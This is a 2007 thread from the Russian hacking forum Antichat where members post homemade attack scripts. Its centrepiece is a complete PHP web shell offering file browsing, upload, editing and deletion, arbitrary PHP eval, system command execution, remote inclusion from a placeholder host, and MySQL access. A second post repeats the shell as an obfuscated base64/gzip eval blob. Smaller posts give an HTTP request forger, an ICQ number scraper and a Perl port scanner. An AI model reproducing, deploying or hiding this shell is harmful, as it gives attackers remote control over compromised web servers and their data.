Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

27.09.2007, 02:38
|
|
Участник форума
Регистрация: 22.05.2007
Сообщений: 144
Провел на форуме: 306311
Репутация:
119
|
|
Сообщение от canvasa
2. phpBB version check 
Мда, уже чтобы /docs/CHANGELOG.html глянуть нужно настроить и запустить спец скрипт =)
|
|
|

29.09.2007, 13:24
|
|
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме: 2030482
Репутация:
1796
|
|
Вот мой веб шелл
+Маленький размер (12кб)
+Оптимизирован под юзание из инклудов
+Все необходимые функции вебшелла
+Отсутствие графики/стилей (Всего лишнего)
-Работа через GET (Скоро переделаю)
PHP код:
<?php
/*
PHP Mini Remote View Dir (C) I-I()/Ib
Версия: 1.0 pre-realse
*/
$script['pr']=false;//проверка пароля
$script['pa']='EOF';//Пароль
$script['link']=2;//Тип ссылки(1-просто ссылка на скрипт,2-с определением выполняемого скрипта+все переданные парамтеры методом GET)
$script['do_this']="show_dir";//Значение переменой $do_this по дефолту
$script['now_dir']="./";//Значение переменой $now_dir по дефолту
$script['now_file']="index.html";//Значение переменой $now_file по дефолту
@set_magic_quotes_runtime(0);
@set_time_limit(0);
if(@get_magic_quotes_gpc())
{
foreach ($_POST as $k=>$v){$_POST[$k] = stripslashes($v);}
foreach ($_GET as $k=>$v){$_GET[$k] = stripslashes($v);}
}
if($script['pr']){if(@$_GET['key']!=$script['pa'])die();}
if(@$_GET['do_this']!=null)$do_this=urldecode($_GET['do_this']);
else $do_this=$script['do_this'];
if(@$_GET['now_dir']!=null)$now_dir=urldecode($_GET['now_dir']);
else $now_dir=$script['now_dir'];
if(@$_GET['now_file']!=null)$now_file=urldecode($_GET['now_file']);
else $now_file=$script['now_file'];
if(($script['link']===2))
{
$my_link="http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."?";
foreach($_GET as $index => $val){if(($index!="do_this")&&($index!="now_dir")&&($index!="now_file"))$my_link=$my_link.$index."=".$val."&";}
}
else $my_link='';
$our_catalog=getcwd();
chdir($now_dir);
if($do_this==="upload_file_s")
{
if(@file_exists($now_file))
{
$file=@fopen($now_file,"r");
@ob_clean();
$filename=@basename($now_file);
$filedump=@fread($file,@filesize($now_file));
fclose($file);
$content_encoding=$mime_type='';
if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); }
header("Content-type: ".$mime_type);
header("Content-disposition: attachment; filename=\"".$filename."\";");
echo $filedump;
exit();
}
}
echo "<font size='-1'><hr>
".php_uname()."<br>";
if(function_exists('apache_get_version'))echo(apache_get_version()."<br>");
else echo"PHP: ".phpversion()."<br>";
echo"UID: ".getmyuid()." GID: ".getmygid()." PID: ".getmypid()."<br>
<hr>
Cкрипт находится в: ".$our_catalog."<br>
Открыт каталог: ".getcwd()."<br>
<hr>
<a href='".$my_link."&now_dir=".$now_dir."'>Просмотр директорий</a><br>
<a href='".$my_link."do_this=function_show&now_dir=".$now_dir."'>Работа с каталогами</a><br>
<a href='".$my_link."do_this=shell_show&now_dir=".$now_dir."'>Работа с шеллом</a><br>
<a href='".$my_link."do_this=mysql_show&now_dir=".$now_dir."'>Работа с MYSQL</a><br>
</font>
<hr> |
<input type='submit' value='Назад' onclick='javascript:history.back(-1)'> |
<input type='submit' value='Вперед' onclick='javascript:history.forward(+1)'> |
<input type='submit' value='Вверх' onclick=\"javascript:document.location.replace('".$my_link."do_this=show_dir&now_dir=".urlencode(getcwd()."/..")."')\"> |
<input type='submit' value='Домой' onclick=\"javascript:document.location.replace('".$my_link."')\"> |
<hr>
Путь:<input type='text' name='go_to_dir' value='".getcwd()."' size='100'>
<input type='submit' value='Перейти' onclick=\"javascript:document.location.replace('".$my_link."do_this=show_dir&now_dir='+escape(go_to_dir.value));\">
<hr>";
if($do_this==="show_dir")
{
echo "<table width=100%>
<tr><td colspan=4 align=center><b>Просмотр содержимого папки <i>".getcwd()."</i></b></tr></td>
<tr><td width=35%><b>Имя</b></td><td width=15%><b>Размер</b></td><td width=10%><b>Действие</b></td><td width=20%><b>Изменен</b></td><td width=10%><b>Права</b></td><td width=10%><b>Владелец/Группа</b>";
$dh=opendir(".");
while($file=readdir($dh))
{
if(filetype($file)==="dir")$directories[]=$file;
else $files[]=$file;
}
closedir($dh);
if(!empty($directories))
{
sort($directories);
foreach($directories as $file)
{
echo "<tr>
<td>[<a title='Open' href='".$my_link."now_dir=".urlencode($now_dir."/".$file)."'>".$file."</a>]</td>
<td>DIR</td>
<td>---</td>
<td>".date("d-m-Y H:i",filemtime($file))."</td>
<td><b><font color=";
if(is_readable($file))echo 'green';
else echo 'red';
echo ">r</font><font color=";
if(is_writeable($file))echo 'green';
else echo 'red';
echo ">w</font>
</b></td>
<td>".@fileowner($now_dir)."/".@filegroup($now_dir)."</td>
</tr>\n";
}
}
if(!empty($files))
{
sort($files);
foreach($files as $file)
{
echo "<tr>
<td><a title='Show' href='".$my_link."do_this=show_file_s&now_dir=".urlencode($now_dir)."&now_file=".urlencode($file)."'>".$file."</a></td>
<td>".filesize($file)." байт</td>
<td>
<a title='Upload' href='".$my_link."do_this=upload_file_s&now_dir=".urlencode($now_dir)."&now_file=".urlencode($file)."' alt='Скачать'>U</a> |
<a title='Modify' href='".$my_link."do_this=modify_file_s&now_dir=".urlencode($now_dir)."&now_file=".urlencode($file)."' alt='Редактировать'>M</a> |
<a title='Delete' href='".$my_link."do_this=delete_file_s&now_dir=".urlencode($now_dir)."&now_file=".urlencode($file)."' alt='Удалить'>D</a>
</td>
<td>".date("d-m-Y H:i",filemtime($file))."</td>
<td><b><font color=";
if(is_readable($file))echo 'green';
else echo 'red';
echo ">r</font><font color=";
if(is_writeable($file))echo 'green';
else echo 'red';
echo ">w</font>
</b></td>
<td>".@fileowner($now_dir)."/".@filegroup($now_dir)."</td>
</tr>\n";
}
}
echo "</table>";
}
if(strpos($do_this,"_file_s")){
echo "<center>
<b>Файл ".$now_file."</b>
<table width=80%>
<tr>
<td><a href='".$my_link."do_this=show_file_s&now_dir=".urlencode($now_dir)."&now_file=".urlencode($now_file)."'>Просмотр</a></td>
<td><a href='".$my_link."do_this=modify_file_s&now_dir=".urlencode($now_dir)."&now_file=".urlencode($now_file)."'>Редактировать</a></td>
<td><a href='".$my_link."do_this=delete_file_s&now_dir=".urlencode($now_dir)."&now_file=".urlencode($now_file)."'>Удалить</a></td>
<td><a href='".$my_link."do_this=upload_file_s&now_dir=".urlencode($now_dir)."&now_file=".urlencode($now_file)."'>Загрузить</a></td>
<td><a href='".$my_link."now_dir=".urlencode($now_dir)."&now_file=".urlencode($now_file)."'>Назад</a></td>
</tr>
</table>
</center>";
if(file_exists($now_file)){
if($do_this==="show_file_s"){
$open_to_show_file=file($now_file);
echo "<b><center>Просмотр</center></b><pre>";
for($i=0;$i<count($open_to_show_file);$i++)echo htmlspecialchars($open_to_show_file[$i]);
echo "</pre>";
}
if($do_this==="modify_file_s"){
echo "<b><center>Редактирование</center></b>\n";
if(empty($_POST['step'])){
$open_to_show_file=file($now_file);
echo "<form action='".$my_link."now_dir=".urlencode($now_dir)."&now_file=".urlencode($now_file)."&do_this=modify_file_s' method='post'>
<input type='hidden' name='step' value='1'>
<textarea name=new_text cols='80' rows='20'>";
for($i=0;$i<count($open_to_show_file);$i++)echo htmlspecialchars($open_to_show_file[$i]);
echo "</textarea><br>
<input type='submit' value=Править>
</form>";
}else{
$new_text=$_POST['new_text'];
$file = fopen ($now_file,"w");
fputs($file, $new_text);
fclose($file);
echo "Готово, вроде как... <a href='".$my_link."now_dir=".base64_encode($now_dir)."&now_file=".base64_encode($now_file)."&do_this=modify_file'>Назад</a>";
}
}
if($do_this==="delete_file_s"){
echo "<b><center>Удаление</center></b>\n";
unlink($now_file);
if(file_exists($now_file))echo "Файл не был удален... Возможно нет доступа";
else echo "Файл удален...";
}
}else echo "Файл не найден";
}
if($do_this==="function_show"){
echo "<hr><b>Создать файл</b><br>
<form action='".$my_link."now_dir=".urlencode($now_dir)."&do_this=function_create_file' method='post'>
Файл: <input type='text' name='patch_file' value='".getcwd()."\\shell.php'><br>
Содержимое:<br>
<textarea name='body_file' cols='80' rows='20'>Вот это будет находится в новом файле... :)</textarea><br>
<input type='submit' value='СОЗДАТЬ'>
</form>
<hr><b>Закачать файл с другого сервера</b>
<form action='".$my_link."now_dir=".urlencode($now_dir)."&do_this=function_download_file' method='post'>
Файл на другом сервере: <input type='text' name='patch_old_file' value='http://www.badhost.ru/new_shell.txt'><br>
Сохранить как: <input type='text' name='patch_new_file' value='".getcwd()."\\shell2.php'><br>
<input type='submit' value='ЗАКАЧАТЬ'>
</form>
<hr><b>Создать папку</b>
<form action='".$my_link."now_dir=".urlencode($now_dir)."&do_this=function_create_dir' method='post'>
Путь: <input type='text' name='patch_dir' value='".getcwd()."\\new_folder\'><br>
<input type='submit' value='СОЗДАТЬ'>
</form>
<hr><b>Удалить папку (только пустую)</b>
<form action='".$my_link."now_dir=".urlencode($now_dir)."&do_this=function_delete_dir' method='post'>
Путь: <input type='text' name='patch_dir' value='".getcwd()."\\del_folder\'><br>
<input type='submit' value='УДАЛИТЬ'>
</form>";
}
if($do_this==="function_create_file")
{
$file=fopen ($_POST['patch_file'],"w");
fputs($file, $_POST['body_file']);
fclose($file);
echo "Готово... <a href='".$my_link."now_dir=".urlencode($now_dir)."&do_this=function_show'>Назад</a>";
}
if($do_this==="function_download_file"){
$patch_open_file=$_POST['patch_old_file'];
$save_file=$_POST['patch_new_file'];
$open_file=file($patch_open_file);
$file_s=fopen($save_file,"w");
foreach($open_file as $val)fputs($file_s,$val);
fclose($file_s);
echo "Готово... <a href='".$my_link."now_dir=".urlencode($now_dir)."&do_this=function_show'>Назад</a>";
}
if($do_this==="function_create_dir"){
mkdir($_POST['patch_dir'] , 0777);
echo "Готово... <a href='".$my_link."now_dir=".urlencode($now_dir)."&do_this=function_show'>Назад</a>";
}
if($do_this==="function_delete_dir"){
rmdir($_POST['patch_dir']);
echo "Готово... <a href='".$my_link."now_dir=".urlencode($now_dir)."&do_this=function_show'>Назад</a>";
}
if(($do_this==="mysql_show")||($do_this==="mysql_exec")){
echo '<form action="'.$my_link."now_dir=".urlencode($now_dir).'&do_this=mysql_exec" method="post">
Подключаться: <input type="checkbox" name="connect" value="1" checked><br>
<input type="text" name="my_sqlhost" value="';
if(!empty($_POST['my_sqlhost']))echo $_POST['my_sqlhost'];
echo '">:Хост MYSQL<br><input type="text" name="my_database" value="';
if(!empty($_POST['my_database']))echo $_POST['my_database'];
echo '">:Имя базы<br><input type="text" name="mysql_login" value="';
if(!empty($_POST['mysql_login']))echo $_POST['mysql_login'];
echo '">:Логин<br><input type="text" name="mysql_password" value="';
if(!empty($_POST['mysql_password']))echo $_POST['mysql_password'];
echo '">:Пароль<br>Запрос:<br><textarea name="query" cols="30" rows="7">';
if(!empty($_POST['query']))echo $_POST['query'];
echo '</textarea><br><input type="submit" value="Выполнить"></form><hr>'."\n";
}
if($do_this==="mysql_exec")
{
if((!empty($_POST['my_sqlhost']))&&(!empty($_POST['mysql_login']))&&(@$_POST['connect']==='1')){
$_POST['query']=urldecode($_POST['query']);
$link=mysql_connect($_POST['my_sqlhost'],$_POST['mysql_login'],$_POST['mysql_password']) or die ("Нет соединения с хостом");
if(!empty($_POST['my_database']))mysql_select_db($_POST['my_database']);
}
if(!empty($_POST['query'])){
$result = mysql_query($_POST['query']);
if(empty($result))echo(mysql_error());
else{
echo "<table border=1>";
while($data=mysql_fetch_row($result))echo "<tr><td>".implode("</td><td>", $data)."</td></tr>"."\n";
echo "</table>";
mysql_free_result($result);
}
}
}
if($do_this==="shell_show"){
echo "<hr><b>Заинклудить файл</b>
<form action='".$my_link."now_dir=".urlencode($now_dir)."&do_this=shell_inc' method='post'>
Путь: <input type='text' name='patch_include' value='http://www.badhost.ru/shell.php'><br>
<input type='submit' value='Инклудить'>
</form>
<hr><b>Выполнить пхп код</b> (не пишите <?php и ?>)
<form action='".$my_link."now_dir=".urlencode($now_dir)."&do_this=shell_eval' method='post'>
Код:<br>
<textarea name='eval_code' cols='80' rows='20'></textarea>
<br>
<input type='submit' value='Выполнить'>
</form>
<hr><b>Команадная строка</b>
<form action='".$my_link."now_dir=".urlencode($now_dir)."&do_this=shell_system' method='post'>
Код:<br>
<textarea name='system_code' cols='80' rows='20'></textarea>
<br>
<input type='submit' value='Выполнить'>
</form>";
}
if($do_this==="shell_inc"){
include($_POST['patch_include']);
echo "<hr> <a href='".$my_link."now_dir=".urlencode($now_dir)."&do_this=shell_show'>Назад</a>";
}
if($do_this==="shell_eval"){
eval($_POST['eval_code']);
echo "<hr> <a href='".$my_link."now_dir=".urlencode($now_dir)."&do_this=shell_show'>Назад</a>";
}
if($do_this==="shell_system"){
system($_POST['system_code']);
echo "<hr> <a href='".$my_link."now_dir=".urlencode($now_dir)."&do_this=shell_show'>Назад</a>";
}
echo "<hr> <b>PHP Mini Remote View Dir v1.0 pre-realese</b> © <i><b>I-I()/Ib</b></i>";
?>
__________________
Кто я?..
|
|
|

29.09.2007, 13:26
|
|
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме: 2030482
Репутация:
1796
|
|
Ах да... вот еще тот же самый шелл упакован gzip-ом до 4.7 кб
PHP код:
<?php
$script['pr']=false;
$script['pa']='EOF';
$script['link']=2;
$script['do_this']="show_dir";
$script['now_dir']="./";
$script['now_file']="index.html";
eval(gzuncompress(base64_decode('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')));
?>
__________________
Кто я?..
Последний раз редактировалось I-I()/Ib; 29.09.2007 в 13:29..
|
|
|

06.10.2007, 15:08
|
|
Познавший АНТИЧАТ
Регистрация: 30.04.2007
Сообщений: 1,206
Провел на форуме: 4778940
Репутация:
1257
|
|
Скрипт читающий все HTTP заголовки посылаемые браузером.(правда есть одно "но" он выводит инфу о сервере. но кому надо тот поймёт где что.)
PHP код:
<?php
$r = fopen('123.txt',"w+");
$kea=array_keys($_SERVER);
$vala=array_values($_SERVER);
for($i=0;$i<count($_SERVER);$i++) fputs($r,$kea[$i]."=".$vala[$i]."\r\n");
fclose($r);
?>
|
|
|

13.10.2007, 21:11
|
|
Познавший АНТИЧАТ
Регистрация: 02.06.2006
Сообщений: 1,188
Провел на форуме: 6023777
Репутация:
2642
|
|
PHP код:
<?
#(C) NOmeR1
if($_POST['packets'])
{
$site = preg_replace('|\s|',NULL,preg_replace('/^.*Host:\s+(.+)\s*(\n|\r\n).*$/isU', '\\1', $_POST['packets']."\r\n"));
function answer($site, $headers)
{
$fp = fsockopen($site, 80);
fwrite($fp, $headers."\r\n\r\n");
$packets = fread($fp, 2048);
$packets = preg_replace("/^(.+)(\n|\r\n){2,}.*$/isU", "\\1", $packets);
return $packets;
}
echo '<table width=100%><tr width=100%><td align="left"><form method=POST><textarea name="packets" style="width:400px;height:200px;">'.$_POST['packets'].'</textarea><br>
<input type=submit></form></td>
<td align="right"><textarea style="width:400px;height:200px;">'.answer($site, $_POST['packets']).'</textarea></td></tr></table>';
}
else
{
echo('<table width=100%><tr width=100%><td align="left"><form method=POST><textarea name="packets" style="width:400px;height:200px;">GET / HTTP/1.0
Host: www.antichat.ru</textarea><br>
<input type=submit></form></td>');
}
?>
Скрипт - "поддельщик" запросов. Отсылает поддельные пакеты и читает ответ сервера. Что-то типо InetCrack... Может кому и понадобится.
|
|
|

16.10.2007, 15:14
|
|
Новичок
Регистрация: 16.10.2007
Сообщений: 3
Провел на форуме: 22612
Репутация:
0
|
|
простой скрипт - собирает с асечки базу номерков, которые на асечке в продаже (а ля в подборе под телефонный номер).
Результат выводит в браузер. Кому надо может и в фалл писать.
С параметрами по умолчанию собирает только шестизнаки.
PHP код:
<?php
$start = 100000;
$end = 999999;
$current = $start;
if (isset($_REQUEST['start']))
{
$current = $_REQUEST['start'];
}
if (($current < $start) || ($current>$end))
{
die('error in paramethers');
}
while ($current<=$end)
{
$page = file_get_contents("http://online.asechka.ru/check-more?uin=".$current);
$is_popal = preg_match_all('/'.$current.'/s', $page, $tmpp);
if ($is_popal >2)
{
echo $current."<br>";
}
else
{
preg_match_all('|<td>([0-9]+)<.td>|Uis',$page,$out,PREG_PATTERN_ORDER);
foreach($out[1] as $anchor)
{
echo $anchor."<br>";
$current = $anchor;
}
}
$current = $current + 1;
}
?>
|
|
|

17.10.2007, 14:05
|
|
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме: 21768337
Репутация:
3486
|
|
Сканер портов бай ми. Тренируюсь(:
PHP код:
#!/usr/bin/perl
use warnings;
use strict;
use IO::Socket;
print "Enter IP adress: ";
my $ip_addr = <STDIN>;
print "Enter Port's Range: ";
my $al = <STDIN>;
print "Choose Protocol (tcp/udp): ";
my $PRT = <STDIN>;
my ($from, $to) = split(/-/,$al);
open (RS,">results.txt");
chomp($ip_addr,$from,$PRT);
print "\n[~] Scaning in procces..\n";
while ($from <= $to)
{
my $sock = new IO::Socket::INET -> new(Proto => $PRT, PeerPort => $from, PeerAddr => $ip_addr, timeout => 10);
if (!$sock)
{
print RS $ip_addr,":",$from, "- Closing\n";
$from++;
}
else
{
print RS $ip_addr,":",$from, "- Opened!\n";
$from++;
}
}
print "[!] Scaning over!\n";
close RS;
Пишете ИП, Диапазон портов в виде 1-888, и выбираете протокол. Tcp/udp.
|
|
|

17.10.2007, 17:21
|
|
Познавший АНТИЧАТ
Регистрация: 01.05.2006
Сообщений: 1,021
Провел на форуме: 3424739
Репутация:
921
|
|
Сообщение от [sL1p]
Сканер портов бай ми. Тренируюсь(:
PHP код:
#!/usr/bin/perl
use warnings;
use strict;
use IO::Socket;
print "Enter IP adress: ";
my $ip_addr = <STDIN>;
print "Enter Port's Range: ";
my $al = <STDIN>;
print "Choose Protocol (tcp/udp): ";
my $PRT = <STDIN>;
my ($from, $to) = split(/-/,$al);
open (RS,">results.txt");
chomp($ip_addr,$from,$PRT);
print "\n[~] Scaning in procces..\n";
while ($from <= $to)
{
my $sock = new IO::Socket::INET -> new(Proto => $PRT, PeerPort => $from, PeerAddr => $ip_addr, timeout => 10);
if (!$sock)
{
print RS $ip_addr,":",$from, "- Closing\n";
$from++;
}
else
{
print RS $ip_addr,":",$from, "- Opened!\n";
$from++;
}
}
print "[!] Scaning over!\n";
close RS;
Пишете ИП, Диапазон портов в виде 1-888, и выбираете протокол. Tcp/udp.
а можно наоборот чтоб диапазон ипов на открытие одно порта сканило
|
|
|

17.10.2007, 17:25
|
|
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме: 21768337
Репутация:
3486
|
|
Можно и так, переделать там недолго.
|
|
|

17.10.2007, 17:50
|
|
Познавший АНТИЧАТ
Регистрация: 01.05.2006
Сообщений: 1,021
Провел на форуме: 3424739
Репутация:
921
|
|
Сообщение от [sL1p]
Можно и так, переделать там недолго.
ну тогда будь добр =)
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|